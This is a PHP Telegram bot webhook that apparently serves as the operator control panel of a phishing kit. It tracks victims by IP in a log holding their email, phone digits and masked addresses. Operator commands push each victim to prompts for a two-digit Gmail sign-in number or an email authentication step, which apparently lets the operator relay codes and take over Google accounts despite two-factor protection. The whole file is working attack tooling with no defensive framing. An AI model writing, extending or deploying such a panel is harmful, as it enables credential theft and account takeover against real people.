<?php
$config_file = __DIR__ . '/config.json';
$json_data = file_get_contents($config_file);

// Decode JSON data into PHP array
$config = json_decode($json_data, true);
$token = $config['Userid'];

// Read the incoming update
$update = file_get_contents("php://input");
$updateArray = json_decode($update, true);

// Log the incoming update for debugging
file_put_contents("../log/telegram_update.log", print_r($updateArray, true), FILE_APPEND);

if (isset($updateArray["callback_query"])) {
    $chatId = $updateArray["callback_query"]["message"]["chat"]["id"];
    $callbackData = $updateArray["callback_query"]["data"];

    // Handle button press
    handleCommand($chatId, $callbackData);
} elseif (isset($updateArray["message"])) {
    $message = $updateArray["message"]["text"] ?? ''; // Check if the text exists
    $chatId = $updateArray["message"]["chat"]["id"];
    $isPrivateChat = $updateArray["message"]["chat"]["type"] === 'private';

    // If the message is a command in a group, it might include the bot's username.
    $commandParts = explode(" ", $message);
    $command = $commandParts[0];
    if (!$isPrivateChat && strpos($command, '@') !== false) {
        // If the bot is mentioned, remove the mention
        $command = explode("@", $command)[0];
    }

    // If the command is detected and needs processing, run processAdminInput
    if ($command !== '') {
        processAdminInput($chatId, $message);
    }
}

function sendMessage($chatId, $message) {
    global $token;
    $url = "https://api.telegram.org/bot$token/sendMessage";
    $postData = [
        'chat_id' => $chatId,
        'text' => $message
    ];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_exec($ch);
    curl_close($ch);
}

function handleCommand($chatId, $callbackData) {
    global $token;
    $visitorStateFile = "../log/visitor_state.json";
    $userInfoFile = '../log/usersinfo.log';
    $visitorStates = [];

    if (file_exists($visitorStateFile)) {
        $visitorStates = json_decode(file_get_contents($visitorStateFile), true);
    }

    file_put_contents("../log/callback_data.log", "Callback data received: $callbackData\n", FILE_APPEND);

    $messageParts = explode(":", $callbackData);
    if (count($messageParts) == 2) {
        $key = $messageParts[0]; 
        $state = $messageParts[1];

        $ip = null;

        if (file_exists($userInfoFile)) {
            $fileContents = file($userInfoFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
            foreach ($fileContents as $line) {
                $parts = explode('|', $line);
                if ($parts[0] === $key) {
                    $ip = $parts[1];
                    break;
                }
            }
        }

        if ($ip !== null) {
            updateVisitorState($chatId, $visitorStates, $key, $state, $ip);
        } else {
            sendMessage($chatId, "Key $key not found in usersinfo.log.");
        }
    } else {
        sendMessage($chatId, "Invalid command format. Expected format: Key:state.");
    }
}

function updateVisitorState($chatId, &$visitorStates, $key, $state, $ip) {
    $visitorStateFile = "../log/visitor_state.json";

    switch ($state) {
        case 'phonenumber':
            $visitorStates[$key] = 'awaiting_phonenumber';
            sendMessage($chatId, "Input the last 2 digits:");
            break;
        case 'gmailauth':
            $visitorStates[$key] = 'awaiting_gmailauth';
            sendMessage($chatId, "Input 2 digits Auth Number:");
            break;
        case 'Markmail':
            $visitorStates[$key] = 'awaiting_Markmail';
            sendMessage($chatId, "Input Name of the email to Mark:");
            break;
        case 'otptomail':
            $visitorStates[$key] = 'awaiting_otptomail';
            sendMessage($chatId, "Input the email to get authentication:");
            break;
        default:
            $visitorStates[$key] = $state;
            sendMessage($chatId, "Visitor $ip status updated to: $state.");
            break;
    }

    file_put_contents($visitorStateFile, json_encode($visitorStates));
}

function processAdminInput($chatId, $message) {
    $visitorStateFile = "../log/visitor_state.json";
    $visitorStates = [];

    if (file_exists($visitorStateFile)) {
        $fileContents = file_get_contents($visitorStateFile);
        $visitorStates = json_decode($fileContents, true);

        if (json_last_error() !== JSON_ERROR_NONE) {
            sendMessage($chatId, "Error reading visitor state file.");
            return;
        }
    } else {
        sendMessage($chatId, "Visitor state file not found.");
        return;
    }

    foreach ($visitorStates as $ip => $state) {
        if ($state === 'awaiting_phonenumber') {
            processPhoneNumberInput($chatId, $visitorStates, $ip, $message);
            break;
        } elseif ($state === 'awaiting_gmailauth') {
            processGmailAuthInput($chatId, $visitorStates, $ip, $message);
            break;
        } elseif ($state === 'awaiting_Markmail') {
            processMarkEmailInput($chatId, $visitorStates, $ip, $message);
            break;
        } elseif ($state === 'awaiting_otptomail') {
            processEmailAuthInput($chatId, $visitorStates, $ip, $message);
            break;
        }
    }
}

function processPhoneNumberInput($chatId, &$visitorStates, $ip, $message) {
    if (preg_match('/^\d{2}$/', $message)) {
        updatePhoneNumber($ip, $message);
        $visitorStates[$ip] = 'phonenumber';
        sendMessage($chatId, "Phone number updated for Visitor $ip.");
    } else {
        sendMessage($chatId, "Invalid input. Please input exactly 2 digits.");
    }
    saveVisitorState($visitorStates);
}

function processGmailAuthInput($chatId, &$visitorStates, $ip, $message) {
    if (preg_match('/^\d{2}$/', $message)) {
        updategmailauth($ip, $message);
        $visitorStates[$ip] = 'gmailauth';
        sendMessage($chatId, "Gmail Auth code updated for Visitor $ip.");
    } else {
        sendMessage($chatId, "Invalid input. Please input exactly 2 digits.");
    }
    saveVisitorState($visitorStates);
}

function processMarkEmailInput($chatId, &$visitorStates, $ip, $message) {
    if (strlen($message) < 4) {
        sendMessage($chatId, "Invalid input. Please input a valid name.");
    } else {
        MarkEmail($ip, $message);
        $visitorStates[$ip] = 'marked';
        sendMessage($chatId, "The Email has been marked by $message.");
    }
    saveVisitorState($visitorStates);
}

function processEmailAuthInput($chatId, &$visitorStates, $ip, $message) {
    if (!filter_var($message, FILTER_VALIDATE_EMAIL)) {
        sendMessage($chatId, "Invalid input. Please input a valid email address.");
    } else {
        UpdateEmail($ip, $message);
        $visitorStates[$ip] = 'otptomail'; // Consider updating the state to reflect that email was handled
        sendMessage($chatId, "Email Auth has been updated for Visitor $ip.");
    }
    saveVisitorState($visitorStates);
}

function saveVisitorState($visitorStates) {
    $visitorStateFile = "../log/visitor_state.json";
    file_put_contents($visitorStateFile, json_encode($visitorStates));
}

function updatePhoneNumber($key, $newPhoneNumber) {
    $filename = '../log/usersinfo.log';
    if (!file_exists($filename) || !is_readable($filename)) {
        return "File not found.";
    }

    $fileContents = file($filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    $updated = false;

    foreach ($fileContents as &$line) {
        $parts = explode('|', $line);
        if (isset($parts[0]) && trim($parts[0]) === $key) {
            $parts[5] = $newPhoneNumber;
            $line = implode('|', $parts);
            $updated = true;
            break;
        }
    }

    if ($updated) {
        file_put_contents($filename, implode(PHP_EOL, $fileContents) . PHP_EOL);
        return "Phone number updated.";
    } else {
        return "User not found.";
    }
}

function updategmailauth($key, $newgmailauth) {
    $filename = '../log/usersinfo.log';
    if (!file_exists($filename) || !is_readable($filename)) {
        return "File not found.";
    }

    $fileContents = file($filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    $updated = false;

    foreach ($fileContents as &$line) {
        $parts = explode('|', $line);
        if (isset($parts[0]) && trim($parts[0]) === $key) {
            $parts[6] = $newgmailauth;
            $line = implode('|', $parts);
            $updated = true;
            break;
        }
    }

    if ($updated) {
        file_put_contents($filename, implode(PHP_EOL, $fileContents) . PHP_EOL);
        return "Gmail Auth updated.";
    } else {
        return "User not found.";
    }
}

function MarkEmail($ip, $info) {
    $userLogFile = '../log/usersinfo.log';
    $markLogFile = '../log/markemail.log';

    if (!file_exists($userLogFile) || !is_readable($userLogFile)) {
        return "File not found.";
    }

    $fileContents = file($userLogFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    $email = null;

    foreach ($fileContents as $line) {
        $parts = explode('|', $line);
        if (isset($parts[0]) && trim($parts[0]) === $ip) {
            if (isset($parts[2])) {
                $email = $parts[2];
                break;
            }
        }
    }

    if ($email === null) {
        return "Email not found for IP: $ip.";
    }

    if (file_exists($markLogFile) && is_readable($markLogFile)) {
        $markLogContents = file($markLogFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        foreach ($markLogContents as $markLine) {
            if (strpos($markLine, $email) !== false) {
                return "The Email Already Exists.";
            }
        }
    }

    $entry = $email . '|' . $info;
    if (file_put_contents($markLogFile, $entry . PHP_EOL, FILE_APPEND) !== false) {
        return "The Email has been marked by $info.";
    } else {
        return "Failed to mark the email.";
    }
}

function UpdateEmail($key, $newEmail) {
    $filename = '../log/usersinfo.log';
    
    // Check if the file exists and is readable
    if (!file_exists($filename) || !is_readable($filename)) {
        file_put_contents("../log/error.log", "File not found or not readable: $filename\n", FILE_APPEND);
        return "File not found.";
    }

    // Read the file into an array
    $fileContents = file($filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    $updated = false;

    foreach ($fileContents as &$line) {
        $parts = explode('|', $line);

        // Debugging: Log the parts and key
        file_put_contents("../log/debug.log", "Checking line: " . print_r($parts, true) . "\n", FILE_APPEND);

        // Check if the key matches
        if (isset($parts[0]) && trim($parts[0]) === $key) {
            // Debugging: Log before updating
            file_put_contents("../log/debug.log", "Before update: " . $parts[7] . "\n", FILE_APPEND);
            
            // Update the masked email part
            $parts[7] = $newEmail;
            $line = implode('|', $parts);

            // Debugging: Log after updating
            file_put_contents("../log/debug.log", "After update: " . $parts[7] . "\n", FILE_APPEND);
            
            $updated = true;
            break;
        }
    }

    // Write the entire content back to the file if updated
    if ($updated) {
        $result = file_put_contents($filename, implode(PHP_EOL, $fileContents) . PHP_EOL);

        // Check if the write was successful
        if ($result === false) {
            file_put_contents("../log/error.log", "Failed to write to $filename\n", FILE_APPEND);
            return "Failed to write to the file.";
        } else {
            return "Email updated successfully.";
        }
    } else {
        file_put_contents("../log/error.log", "User not found: $key\n", FILE_APPEND);
        return "User not found.";
    }
}



?>
